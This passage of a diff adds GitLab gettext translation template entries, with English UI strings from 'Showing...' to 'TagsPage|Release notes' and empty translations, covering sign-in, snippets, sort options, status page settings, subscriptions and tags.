+msgid "Showing %{pageSize} of %{total} issues"
+msgstr ""
+
+msgid "Showing all issues"
+msgstr ""
+
+msgid "Showing graphs based on events of the last %{timerange} days."
+msgstr ""
+
+msgid "Showing last %{size} of log -"
+msgstr ""
+
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
+msgid "Side-by-side"
+msgstr ""
+
+msgid "Sidebar|Assign health status"
+msgstr ""
+
+msgid "Sidebar|Change weight"
+msgstr ""
+
+msgid "Sidebar|Health status"
+msgstr ""
+
+msgid "Sidebar|No status"
+msgstr ""
+
+msgid "Sidebar|None"
+msgstr ""
+
+msgid "Sidebar|Only numeral characters allowed"
+msgstr ""
+
+msgid "Sidebar|Weight"
+msgstr ""
+
+msgid "Sign in"
+msgstr ""
+
+msgid "Sign in / Register"
+msgstr ""
+
+msgid "Sign in to \"%{group_name}\""
+msgstr ""
+
+msgid "Sign in using smart card"
+msgstr ""
+
+msgid "Sign in via 2FA code"
+msgstr ""
+
+msgid "Sign in with Single Sign-On"
+msgstr ""
+
+msgid "Sign in with smart card"
+msgstr ""
+
+msgid "Sign out"
+msgstr ""
+
+msgid "Sign out & Register"
+msgstr ""
+
+msgid "Sign up"
+msgstr ""
+
+msgid "Sign up was successful! Please confirm your email to sign in."
+msgstr ""
+
+msgid "Sign-in restrictions"
+msgstr ""
+
+msgid "Sign-up restrictions"
+msgstr ""
+
+msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Username is too short (minimum is %{min_length} characters)."
+msgstr ""
+
+msgid "Signed in"
+msgstr ""
+
+msgid "Signed in with %{authentication} authentication"
+msgstr ""
+
+msgid "Signing in using %{label} has been disabled"
+msgstr ""
+
+msgid "Signing in using your %{label} account without a pre-existing GitLab account is not allowed."
+msgstr ""
+
+msgid "Similar issues"
+msgstr ""
+
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
+msgid "Single or combined queries"
+msgstr ""
+
+msgid "Size"
+msgstr ""
+
+msgid "Size and domain settings for static websites"
+msgstr ""
+
+msgid "Size limit per repository (MB)"
+msgstr ""
+
+msgid "Size settings for static websites"
+msgstr ""
+
+msgid "Skip outdated deployment jobs"
+msgstr ""
+
+msgid "Skipped"
+msgstr ""
+
+msgid "Slack application"
+msgstr ""
+
+msgid "Slack channels (e.g. general, development)"
+msgstr ""
+
+msgid "Slack integration allows you to interact with GitLab via slash commands in a chat window."
+msgstr ""
+
+msgid "SlackIntegration|%{strong_open}Note:%{strong_close} Usernames and private channels are not supported."
+msgstr ""
+
+msgid "SlackIntegration|%{webhooks_link_start}Add an incoming webhook%{webhooks_link_end} in your Slack team. The default channel can be overridden for each event."
+msgstr ""
+
+msgid "SlackIntegration|Paste the %{strong_open}Webhook URL%{strong_close} into the field below."
+msgstr ""
+
+msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
+msgstr ""
+
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
+msgstr ""
+
+msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
+msgstr ""
+
+msgid "SlackService|3. Select the %{strong_open}Active%{strong_close} checkbox, press %{strong_open}Save changes%{strong_close} and start using GitLab inside Slack!"
+msgstr ""
+
+msgid "SlackService|Fill in the word that works best for your team."
+msgstr ""
+
+msgid "SlackService|See list of available commands in Slack after setting up this service, by entering"
+msgstr ""
+
+msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
+msgstr ""
+
+msgid "Slower but makes sure the project workspace is pristine as it clones the repository from scratch for every job"
+msgstr ""
+
+msgid "Smartcard"
+msgstr ""
+
+msgid "Smartcard authentication failed: client certificate header is missing."
+msgstr ""
+
+msgid "Snippets"
+msgstr ""
+
+msgid "Snippets with non-text files can only be edited via Git."
+msgstr ""
+
+msgid "SnippetsEmptyState|Code snippets"
+msgstr ""
+
+msgid "SnippetsEmptyState|Documentation"
+msgstr ""
+
+msgid "SnippetsEmptyState|New snippet"
+msgstr ""
+
+msgid "SnippetsEmptyState|No snippets found"
+msgstr ""
+
+msgid "SnippetsEmptyState|Store, share, and embed small pieces of code and text."
+msgstr ""
+
+msgid "SnippetsEmptyState|There are no snippets to show."
+msgstr ""
+
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
+msgid "Snippets|Description (optional)"
+msgstr ""
+
+msgid "Snippets|File"
+msgstr ""
+
+msgid "Snippets|Files"
+msgstr ""
+
+msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
+msgstr ""
+
+msgid "Snippets|Optionally add a description about what your snippet does or how to use it..."
+msgstr ""
+
+msgid "Snippets|Optionally add a description about what your snippet does or how to use it…"
+msgstr ""
+
+msgid "Snowplow"
+msgstr ""
+
+msgid "Solution"
+msgstr ""
+
+msgid "Some child epics may be hidden due to applied filters"
+msgstr ""
+
+msgid "Some common domains are not allowed. %{read_more_link}."
+msgstr ""
+
+msgid "Some email servers do not support overriding the email sender name. Enable this option to include the name of the author of the issue, merge request or comment in the email body instead."
+msgstr ""
+
+msgid "Some of the designs you tried uploading did not change:"
+msgstr ""
+
+msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
+msgstr ""
+
+msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
+msgstr ""
+
+msgid "Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
+msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
+msgstr ""
+
+msgid "Something went wrong on our end"
+msgstr ""
+
+msgid "Something went wrong on our end."
+msgstr ""
+
+msgid "Something went wrong on our end. Please try again!"
+msgstr ""
+
+msgid "Something went wrong on our end. Please try again."
+msgstr ""
+
+msgid "Something went wrong trying to change the confidentiality of this issue"
+msgstr ""
+
+msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
+msgstr ""
+
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
+msgid "Something went wrong when toggling the button"
+msgstr ""
+
+msgid "Something went wrong while adding your award. Please try again."
+msgstr ""
+
+msgid "Something went wrong while applying the batch of suggestions. Please try again."
+msgstr ""
+
+msgid "Something went wrong while applying the suggestion. Please try again."
+msgstr ""
+
+msgid "Something went wrong while archiving a requirement."
+msgstr ""
+
+msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgstr ""
+
+msgid "Something went wrong while creating a requirement."
+msgstr ""
+
+msgid "Something went wrong while deleting description changes. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deleting the package."
+msgstr ""
+
+msgid "Something went wrong while deleting the source branch. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deleting your note. Please try again."
+msgstr ""
+
+msgid "Something went wrong while deploying this environment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while editing your comment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching %{listType} list"
+msgstr ""
+
+msgid "Something went wrong while fetching comments. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching description changes. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching group member contributions"
+msgstr ""
+
+msgid "Something went wrong while fetching latest comments."
+msgstr ""
+
+msgid "Something went wrong while fetching projects"
+msgstr ""
+
+msgid "Something went wrong while fetching projects."
+msgstr ""
+
+msgid "Something went wrong while fetching related merge requests."
+msgstr ""
+
+msgid "Something went wrong while fetching requirements count."
+msgstr ""
+
+msgid "Something went wrong while fetching requirements list."
+msgstr ""
+
+msgid "Something went wrong while fetching the environments for this merge request. Please try again."
+msgstr ""
+
+msgid "Something went wrong while fetching the package."
+msgstr ""
+
+msgid "Something went wrong while fetching the packages list."
+msgstr ""
+
+msgid "Something went wrong while initializing the OpenAPI viewer"
+msgstr ""
+
+msgid "Something went wrong while inserting your image. Please try again."
+msgstr ""
+
+msgid "Something went wrong while merging this merge request. Please try again."
+msgstr ""
+
+msgid "Something went wrong while moving issues."
+msgstr ""
+
+msgid "Something went wrong while obtaining the Let's Encrypt certificate."
+msgstr ""
+
+msgid "Something went wrong while performing the action."
+msgstr ""
+
+msgid "Something went wrong while reopening a requirement."
+msgstr ""
+
+msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgstr ""
+
+msgid "Something went wrong while resolving this discussion. Please try again."
+msgstr ""
+
+msgid "Something went wrong while stopping this environment. Please try again."
+msgstr ""
+
+msgid "Something went wrong while toggling auto-fix settings, please try again later."
+msgstr ""
+
+msgid "Something went wrong while updating a requirement."
+msgstr ""
+
+msgid "Something went wrong while updating assignees"
+msgstr ""
+
+msgid "Something went wrong while updating your list settings"
+msgstr ""
+
+msgid "Something went wrong with your automatic subscription renewal."
+msgstr ""
+
+msgid "Something went wrong, unable to add %{project} to dashboard"
+msgstr ""
+
+msgid "Something went wrong, unable to add projects to dashboard"
+msgstr ""
+
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
+msgid "Something went wrong, unable to get projects"
+msgstr ""
+
+msgid "Something went wrong, unable to search projects"
+msgstr ""
+
+msgid "Something went wrong."
+msgstr ""
+
+msgid "Something went wrong. Please try again."
+msgstr ""
+
+msgid "Something went wrong. Try again later."
+msgstr ""
+
+msgid "Sorry, no epics matched your search"
+msgstr ""
+
+msgid "Sorry, no projects matched your search"
+msgstr ""
+
+msgid "Sorry, you have exceeded the maximum browsable page number. Please use the API to explore further."
+msgstr ""
+
+msgid "Sorry, your filter produced no results"
+msgstr ""
+
+msgid "Sort by"
+msgstr ""
+
+msgid "Sort direction"
+msgstr ""
+
+msgid "Sort direction: Ascending"
+msgstr ""
+
+msgid "Sort direction: Descending"
+msgstr ""
+
+msgid "SortOptions|Access level, ascending"
+msgstr ""
+
+msgid "SortOptions|Access level, descending"
+msgstr ""
+
+msgid "SortOptions|Created date"
+msgstr ""
+
+msgid "SortOptions|Due date"
+msgstr ""
+
+msgid "SortOptions|Due later"
+msgstr ""
+
+msgid "SortOptions|Due soon"
+msgstr ""
+
+msgid "SortOptions|Expired date"
+msgstr ""
+
+msgid "SortOptions|Label priority"
+msgstr ""
+
+msgid "SortOptions|Largest group"
+msgstr ""
+
+msgid "SortOptions|Largest repository"
+msgstr ""
+
+msgid "SortOptions|Last Contact"
+msgstr ""
+
+msgid "SortOptions|Last created"
+msgstr ""
+
+msgid "SortOptions|Last joined"
+msgstr ""
+
+msgid "SortOptions|Last updated"
+msgstr ""
+
+msgid "SortOptions|Least popular"
+msgstr ""
+
+msgid "SortOptions|Less weight"
+msgstr ""
+
+msgid "SortOptions|Manual"
+msgstr ""
+
+msgid "SortOptions|Milestone due date"
+msgstr ""
+
+msgid "SortOptions|Milestone due later"
+msgstr ""
+
+msgid "SortOptions|Milestone due soon"
+msgstr ""
+
+msgid "SortOptions|More weight"
+msgstr ""
+
+msgid "SortOptions|Most popular"
+msgstr ""
+
+msgid "SortOptions|Most stars"
+msgstr ""
+
+msgid "SortOptions|Name"
+msgstr ""
+
+msgid "SortOptions|Name, ascending"
+msgstr ""
+
+msgid "SortOptions|Name, descending"
+msgstr ""
+
+msgid "SortOptions|Oldest created"
+msgstr ""
+
+msgid "SortOptions|Oldest joined"
+msgstr ""
+
+msgid "SortOptions|Oldest last activity"
+msgstr ""
+
+msgid "SortOptions|Oldest sign in"
+msgstr ""
+
+msgid "SortOptions|Oldest starred"
+msgstr ""
+
+msgid "SortOptions|Oldest updated"
+msgstr ""
+
+msgid "SortOptions|Popularity"
+msgstr ""
+
+msgid "SortOptions|Priority"
+msgstr ""
+
+msgid "SortOptions|Project"
+msgstr ""
+
+msgid "SortOptions|Recent last activity"
+msgstr ""
+
+msgid "SortOptions|Recent sign in"
+msgstr ""
+
+msgid "SortOptions|Recently starred"
+msgstr ""
+
+msgid "SortOptions|Size"
+msgstr ""
+
+msgid "SortOptions|Sort by:"
+msgstr ""
+
+msgid "SortOptions|Sort direction"
+msgstr ""
+
+msgid "SortOptions|Stars"
+msgstr ""
+
+msgid "SortOptions|Start date"
+msgstr ""
+
+msgid "SortOptions|Start later"
+msgstr ""
+
+msgid "SortOptions|Start soon"
+msgstr ""
+
+msgid "SortOptions|Type"
+msgstr ""
+
+msgid "SortOptions|Version"
+msgstr ""
+
+msgid "SortOptions|Weight"
+msgstr ""
+
+msgid "Source"
+msgstr ""
+
+msgid "Source (branch or tag)"
+msgstr ""
+
+msgid "Source code"
+msgstr ""
+
+msgid "Source code (%{fileExtension})"
+msgstr ""
+
+msgid "Source is not available"
+msgstr ""
+
+msgid "Source project cannot be found."
+msgstr ""
+
+msgid "Sourcegraph"
+msgstr ""
+
+msgid "SourcegraphAdmin|Block on private and internal projects"
+msgstr ""
+
+msgid "SourcegraphAdmin|Configure the URL to a Sourcegraph instance which can read your GitLab projects."
+msgstr ""
+
+msgid "SourcegraphAdmin|Enable Sourcegraph"
+msgstr ""
+
+msgid "SourcegraphAdmin|Enable code intelligence powered by %{link_start}Sourcegraph%{link_end} on your GitLab instance's code views and merge requests."
+msgstr ""
+
+msgid "SourcegraphAdmin|If checked, only public projects will have code intelligence and communicate with Sourcegraph."
+msgstr ""
+
+msgid "SourcegraphAdmin|More information"
+msgstr ""
+
+msgid "SourcegraphAdmin|Save changes"
+msgstr ""
+
+msgid "SourcegraphAdmin|Sourcegraph URL"
+msgstr ""
+
+msgid "SourcegraphAdmin|e.g. https://sourcegraph.example.com"
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental and currently limited to certain projects."
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental and limited to public projects."
+msgstr ""
+
+msgid "SourcegraphPreferences|This feature is experimental."
+msgstr ""
+
+msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgstr ""
+
+msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgstr ""
+
+msgid "Spam Logs"
+msgstr ""
+
+msgid "Spam and Anti-bot Protection"
+msgstr ""
+
+msgid "Spam log successfully submitted as ham."
+msgstr ""
+
+msgid "Specific Runners"
+msgstr ""
+
+msgid "Specified URL cannot be used: \"%{reason}\""
+msgstr ""
+
+msgid "Specify an e-mail address regex pattern to identify default internal users."
+msgstr ""
+
+msgid "Specify the following URL during the Runner setup:"
+msgstr ""
+
+msgid "Speed up your DevOps%{br_tag}with GitLab"
+msgstr ""
+
+msgid "Squash commit message"
+msgstr ""
+
+msgid "Squash commits"
+msgstr ""
+
+msgid "Stack trace"
+msgstr ""
+
+msgid "Stacktrace snippet"
+msgstr ""
+
+msgid "Stage"
+msgstr ""
+
+msgid "Stage & Commit"
+msgstr ""
+
+msgid "Stage data updated"
+msgstr ""
+
+msgid "Stage removed"
+msgstr ""
+
+msgid "Standard"
+msgstr ""
+
+msgid "Star a label to make it a priority label. Order the prioritized labels to change their relative priority, by dragging."
+msgstr ""
+
+msgid "Star labels to start sorting by priority"
+msgstr ""
+
+msgid "Star toggle failed. Try again later."
+msgstr ""
+
+msgid "StarProject|Star"
+msgstr ""
+
+msgid "Starred Projects"
+msgstr ""
+
+msgid "Starred Projects' Activity"
+msgstr ""
+
+msgid "Starred projects"
+msgstr ""
+
+msgid "StarredProjectsEmptyState|Visit a project page and press on a star icon. Then, you can find the project on this page."
+msgstr ""
+
+msgid "StarredProjectsEmptyState|You don't have starred projects yet."
+msgstr ""
+
+msgid "Starrers"
+msgstr ""
+
+msgid "Stars"
+msgstr ""
+
+msgid "Start Date"
+msgstr ""
+
+msgid "Start Web Terminal"
+msgstr ""
+
+msgid "Start a %{new_merge_request} with these changes"
+msgstr ""
+
+msgid "Start a Free Gold Trial"
+msgstr ""
+
+msgid "Start a new discussion..."
+msgstr ""
+
+msgid "Start a new merge request"
+msgstr ""
+
+msgid "Start a review"
+msgstr ""
+
+msgid "Start and due date"
+msgstr ""
+
+msgid "Start by choosing a group to see how your team is spending time. You can then drill down to the project level."
+msgstr ""
+
+msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
+msgstr ""
+
+msgid "Start cleanup"
+msgstr ""
+
+msgid "Start date"
+msgstr ""
+
+msgid "Start merge train"
+msgstr ""
+
+msgid "Start merge train when pipeline succeeds"
+msgstr ""
+
+msgid "Start search"
+msgstr ""
+
+msgid "Start the Runner!"
+msgstr ""
+
+msgid "Start thread"
+msgstr ""
+
+msgid "Start thread & close %{noteable_name}"
+msgstr ""
+
+msgid "Start thread & reopen %{noteable_name}"
+msgstr ""
+
+msgid "Start using Directed Acyclic Graphs (DAG)"
+msgstr ""
+
+msgid "Start your Free Gold Trial"
+msgstr ""
+
+msgid "Start your free trial"
+msgstr ""
+
+msgid "Start your trial"
+msgstr ""
+
+msgid "Started"
+msgstr ""
+
+msgid "Started %{startsIn}"
+msgstr ""
+
+msgid "Started asynchronous removal of all repository check states."
+msgstr ""
+
+msgid "Started:"
+msgstr ""
+
+msgid "Starting..."
+msgstr ""
+
+msgid "Starts %{startsIn}"
+msgstr ""
+
+msgid "Starts at (UTC)"
+msgstr ""
+
+msgid "State your message to activate"
+msgstr ""
+
+msgid "State: %{last_reindexing_task_state}"
+msgstr ""
+
+msgid "Static Application Security Testing (SAST)"
+msgstr ""
+
+msgid "StaticSiteEditor|1. Add a clear title to describe the change."
+msgstr ""
+
+msgid "StaticSiteEditor|2. Add a description to explain why the change is being made."
+msgstr ""
+
+msgid "StaticSiteEditor|3. Assign a person to review and accept the merge request."
+msgstr ""
+
+msgid "StaticSiteEditor|An error occurred while submitting your changes."
+msgstr ""
+
+msgid "StaticSiteEditor|Branch could not be created."
+msgstr ""
+
+msgid "StaticSiteEditor|Could not commit the content changes."
+msgstr ""
+
+msgid "StaticSiteEditor|Could not create merge request."
+msgstr ""
+
+msgid "StaticSiteEditor|Incompatible file content"
+msgstr ""
+
+msgid "StaticSiteEditor|Return to site"
+msgstr ""
+
+msgid "StaticSiteEditor|Static site editor"
+msgstr ""
+
+msgid "StaticSiteEditor|The Static Site Editor is currently configured to only edit Markdown content on pages generated from Middleman. Visit the documentation to learn more about configuring your site to use the Static Site Editor."
+msgstr ""
+
+msgid "StaticSiteEditor|To see your changes live you will need to do the following things:"
+msgstr ""
+
+msgid "StaticSiteEditor|Update %{sourcePath} file"
+msgstr ""
+
+msgid "StaticSiteEditor|View documentation"
+msgstr ""
+
+msgid "StaticSiteEditor|Your merge request has been created"
+msgstr ""
+
+msgid "Statistics"
+msgstr ""
+
+msgid "Status"
+msgstr ""
+
+msgid "Status:"
+msgstr ""
+
+msgid "Status: %{title}"
+msgstr ""
+
+msgid "StatusPage|AWS Secret access key"
+msgstr ""
+
+msgid "StatusPage|AWS access key ID"
+msgstr ""
+
+msgid "StatusPage|AWS documentation"
+msgstr ""
+
+msgid "StatusPage|AWS region"
+msgstr ""
+
+msgid "StatusPage|Active"
+msgstr ""
+
+msgid "StatusPage|Bucket %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
+msgstr ""
+
+msgid "StatusPage|For help with configuration, visit %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|S3 Bucket name"
+msgstr ""
+
+msgid "StatusPage|Status page"
+msgstr ""
+
+msgid "StatusPage|Status page URL"
+msgstr ""
+
+msgid "StatusPage|Status page frontend documentation"
+msgstr ""
+
+msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgstr ""
+
+msgid "StatusPage|configuration documentation"
+msgstr ""
+
+msgid "StatusPage|your status page frontend."
+msgstr ""
+
+msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
+msgstr ""
+
+msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
+msgstr ""
+
+msgid "Stop Terminal"
+msgstr ""
+
+msgid "Stop impersonation"
+msgstr ""
+
+msgid "Stop this environment"
+msgstr ""
+
+msgid "Stopped"
+msgstr ""
+
+msgid "Stopping..."
+msgstr ""
+
+msgid "Storage"
+msgstr ""
+
+msgid "Storage nodes for new repositories"
+msgstr ""
+
+msgid "Storage:"
+msgstr ""
+
+msgid "StorageSize|Unknown"
+msgstr ""
+
+msgid "Subgroup milestone"
+msgstr ""
+
+msgid "Subgroup overview"
+msgstr ""
+
+msgid "SubgroupCreationLevel|Allowed to create subgroups"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Allowed to create subgroups"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Maintainers"
+msgstr ""
+
+msgid "SubgroupCreationlevel|Owners"
+msgstr ""
+
+msgid "Subgroups"
+msgstr ""
+
+msgid "Subgroups and projects"
+msgstr ""
+
+msgid "Subject Key Identifier:"
+msgstr ""
+
+msgid "Subkeys"
+msgstr ""
+
+msgid "Submit"
+msgstr ""
+
+msgid "Submit %{humanized_resource_name}"
+msgstr ""
+
+msgid "Submit Changes"
+msgstr ""
+
+msgid "Submit a review"
+msgstr ""
+
+msgid "Submit as spam"
+msgstr ""
+
+msgid "Submit feedback"
+msgstr ""
+
+msgid "Submit issue"
+msgstr ""
+
+msgid "Submit review"
+msgstr ""
+
+msgid "Submit search"
+msgstr ""
+
+msgid "Submit the current review."
+msgstr ""
+
+msgid "Submitted the current review."
+msgstr ""
+
+msgid "Subscribe"
+msgstr ""
+
+msgid "Subscribe at group level"
+msgstr ""
+
+msgid "Subscribe at project level"
+msgstr ""
+
+msgid "Subscribe to RSS feed"
+msgstr ""
+
+msgid "Subscribe to calendar"
+msgstr ""
+
+msgid "Subscribed"
+msgstr ""
+
+msgid "Subscribed to this %{quick_action_target}."
+msgstr ""
+
+msgid "Subscribes to this %{quick_action_target}."
+msgstr ""
+
+msgid "Subscription"
+msgstr ""
+
+msgid "Subscription deletion failed."
+msgstr ""
+
+msgid "Subscription successfully applied to \"%{group_name}\""
+msgstr ""
+
+msgid "Subscription successfully created."
+msgstr ""
+
+msgid "Subscription successfully deleted."
+msgstr ""
+
+msgid "SubscriptionTable|Billing"
+msgstr ""
+
+msgid "SubscriptionTable|Free"
+msgstr ""
+
+msgid "SubscriptionTable|GitLab allows you to continue using your subscription even if you exceed the number of seats you purchased. You will be required to pay for these seats upon renewal."
+msgstr ""
+
+msgid "SubscriptionTable|Last invoice"
+msgstr ""
+
+msgid "SubscriptionTable|Loading subscriptions"
+msgstr ""
+
+msgid "SubscriptionTable|Manage"
+msgstr ""
+
+msgid "SubscriptionTable|Max seats used"
+msgstr ""
+
+msgid "SubscriptionTable|Next invoice"
+msgstr ""
+
+msgid "SubscriptionTable|Seats currently in use"
+msgstr ""
+
+msgid "SubscriptionTable|Seats in subscription"
+msgstr ""
+
+msgid "SubscriptionTable|Seats owed"
+msgstr ""
+
+msgid "SubscriptionTable|Subscription end date"
+msgstr ""
+
+msgid "SubscriptionTable|Subscription start date"
+msgstr ""
+
+msgid "SubscriptionTable|This is the last time the GitLab.com team was in contact with you to settle any outstanding balances."
+msgstr ""
+
+msgid "SubscriptionTable|This is the maximum number of users that have existed at the same time since this subscription started."
+msgstr ""
+
+msgid "SubscriptionTable|This is the next date when the GitLab.com team is scheduled to get in contact with you to settle any outstanding balances."
+msgstr ""
+
+msgid "SubscriptionTable|This is the number of seats you will be required to purchase if you update to a paid plan."
+msgstr ""
+
+msgid "SubscriptionTable|Trial"
+msgstr ""
+
+msgid "SubscriptionTable|Trial end date"
+msgstr ""
+
+msgid "SubscriptionTable|Trial start date"
+msgstr ""
+
+msgid "SubscriptionTable|Upgrade"
+msgstr ""
+
+msgid "SubscriptionTable|Usage"
+msgstr ""
+
+msgid "SubscriptionTable|Usage count is performed once a day at 12:00 PM."
+msgstr ""
+
+msgid "Subscriptions"
+msgstr ""
+
+msgid "Subtracted"
+msgstr ""
+
+msgid "Subtracts"
+msgstr ""
+
+msgid "Succeeded"
+msgstr ""
+
+msgid "Successfully activated"
+msgstr ""
+
+msgid "Successfully blocked"
+msgstr ""
+
+msgid "Successfully confirmed"
+msgstr ""
+
+msgid "Successfully deactivated"
+msgstr ""
+
+msgid "Successfully deleted U2F device."
+msgstr ""
+
+msgid "Successfully removed email."
+msgstr ""
+
+msgid "Successfully scheduled a pipeline to run. Go to the %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details."
+msgstr ""
+
+msgid "Successfully unblocked"
+msgstr ""
+
+msgid "Successfully unlocked"
+msgstr ""
+
+msgid "Successfully verified domain ownership"
+msgstr ""
+
+msgid "Suggest code changes which can be immediately applied in one click. Try it out!"
+msgstr ""
+
+msgid "Suggested Solutions"
+msgstr ""
+
+msgid "Suggested change"
+msgstr ""
+
+msgid "Suggested solutions help link"
+msgstr ""
+
+msgid "SuggestedColors|Bright green"
+msgstr ""
+
+msgid "SuggestedColors|Dark grayish cyan"
+msgstr ""
+
+msgid "SuggestedColors|Dark moderate blue"
+msgstr ""
+
+msgid "SuggestedColors|Dark moderate orange"
+msgstr ""
+
+msgid "SuggestedColors|Dark moderate pink"
+msgstr ""
+
+msgid "SuggestedColors|Dark moderate violet"
+msgstr ""
+
+msgid "SuggestedColors|Feijoa"
+msgstr ""
+
+msgid "SuggestedColors|Lime green"
+msgstr ""
+
+msgid "SuggestedColors|Moderate blue"
+msgstr ""
+
+msgid "SuggestedColors|Pure red"
+msgstr ""
+
+msgid "SuggestedColors|Slightly desaturated blue"
+msgstr ""
+
+msgid "SuggestedColors|Slightly desaturated green"
+msgstr ""
+
+msgid "SuggestedColors|Soft orange"
+msgstr ""
+
+msgid "SuggestedColors|Soft red"
+msgstr ""
+
+msgid "SuggestedColors|Strong pink"
+msgstr ""
+
+msgid "SuggestedColors|Strong red"
+msgstr ""
+
+msgid "SuggestedColors|Strong yellow"
+msgstr ""
+
+msgid "SuggestedColors|UA blue"
+msgstr ""
+
+msgid "SuggestedColors|Very dark desaturated blue"
+msgstr ""
+
+msgid "SuggestedColors|Very dark lime green"
+msgstr ""
+
+msgid "SuggestedColors|Very pale orange"
+msgstr ""
+
+msgid "Suggestion is not applicable as the suggestion was not found."
+msgstr ""
+
+msgid "Suggestions are not applicable as one or more suggestions were not found."
+msgstr ""
+
+msgid "Suggestions are not applicable as their lines cannot overlap."
+msgstr ""
+
+msgid "Suggestions must all be on the same branch."
+msgstr ""
+
+msgid "Suggestions:"
+msgstr ""
+
+msgid "Suite"
+msgstr ""
+
+msgid "Summary"
+msgstr ""
+
+msgid "Sunday"
+msgstr ""
+
+msgid "Support"
+msgstr ""
+
+msgid "Support for custom certificates is disabled. Ask your system's administrator to enable it."
+msgstr ""
+
+msgid "Support page URL"
+msgstr ""
+
+msgid "Survey Response"
+msgstr ""
+
+msgid "Switch branch/tag"
+msgstr ""
+
+msgid "Switch to GitLab Next"
+msgstr ""
+
+msgid "Switch to the source to copy the file contents"
+msgstr ""
+
+msgid "Symbolic link"
+msgstr ""
+
+msgid "Sync information"
+msgstr ""
+
+msgid "Synced"
+msgstr ""
+
+msgid "Synchronization disabled"
+msgstr ""
+
+msgid "System"
+msgstr ""
+
+msgid "System Hooks"
+msgstr ""
+
+msgid "System Hooks Help"
+msgstr ""
+
+msgid "System Info"
+msgstr ""
+
+msgid "System default (%{default})"
+msgstr ""
+
+msgid "System header and footer"
+msgstr ""
+
+msgid "System hook was successfully updated."
+msgstr ""
+
+msgid "System metrics (Custom)"
+msgstr ""
+
+msgid "System metrics (Kubernetes)"
+msgstr ""
+
+msgid "Table of Contents"
+msgstr ""
+
+msgid "Tag"
+msgstr ""
+
+msgid "Tag list:"
+msgstr ""
+
+msgid "Tag name"
+msgstr ""
+
+msgid "Tag name is required"
+msgstr ""
+
+msgid "Tag this commit."
+msgstr ""
+
+msgid "Tagged this commit to %{tag_name} with \"%{message}\"."
+msgstr ""
+
+msgid "Tagged this commit to %{tag_name}."
+msgstr ""
+
+msgid "Tags"
+msgstr ""
+
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
+msgid "Tags feed"
+msgstr ""
+
+msgid "Tags this commit to %{tag_name} with \"%{message}\"."
+msgstr ""
+
+msgid "Tags this commit to %{tag_name}."
+msgstr ""
+
+msgid "Tags:"
+msgstr ""
+
+msgid "TagsPage|Browse commits"
+msgstr ""
+
+msgid "TagsPage|Browse files"
+msgstr ""
+
+msgid "TagsPage|Can't find HEAD commit for this tag"
+msgstr ""
+
+msgid "TagsPage|Cancel"
+msgstr ""
+
+msgid "TagsPage|Create tag"
+msgstr ""
+
+msgid "TagsPage|Delete tag"
+msgstr ""
+
+msgid "TagsPage|Deleting the %{tag_name} tag cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "TagsPage|Edit release notes"
+msgstr ""
+
+msgid "TagsPage|Existing branch name, tag, or commit SHA"
+msgstr ""
+
+msgid "TagsPage|Filter by tag name"
+msgstr ""
+
+msgid "TagsPage|New Tag"
+msgstr ""
+
+msgid "TagsPage|New tag"
+msgstr ""
+
+msgid "TagsPage|Optionally, add a message to the tag. Leaving this blank creates a %{link_start}lightweight tag.%{link_end}"
+msgstr ""
+
+msgid "TagsPage|Optionally, create a public Release of your project, based on this tag. Release notes are displayed on the %{releases_page_link_start}Releases%{link_end} page. %{docs_link_start}More information%{link_end}"
+msgstr ""
+
+msgid "TagsPage|Release notes"
+msgstr ""
+
